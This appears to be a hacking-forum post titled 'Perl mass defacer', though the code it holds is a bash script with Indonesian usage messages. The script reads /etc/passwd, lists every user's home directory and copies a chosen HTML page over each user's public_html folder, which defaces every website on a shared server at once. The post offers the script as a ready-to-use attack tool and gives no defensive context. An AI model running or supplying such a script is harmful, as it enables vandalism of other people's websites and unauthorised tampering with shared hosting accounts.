Perl mass defacer

[Mr.XpR]

[align=LEFT][php]

#/bin/bash
#coded by r0ll0v3r

penggunaan ()
{
echo "## coded by eNdA ##"
echo "## mass deface script (copy your page to /home/user/public_html/) "
echo "fungsi pemakaian -> sh mass.txt -f /path/for/defacing.html"
exit 1
}

utama()
{
for ((i=1;i<10000;i++))
do
path=`cat /etc/passwd | grep home | awk 'BEGIN {FS=":"} {print $6}'| awk 'NR=='$i''`
if [ "$path" != "" ]
then cp -rf $2 $path"/public_html/"
else exit
fi
done
}

if [ "$1" == "-f" ]
then utama
else penggunaan
fi

[/php][/align]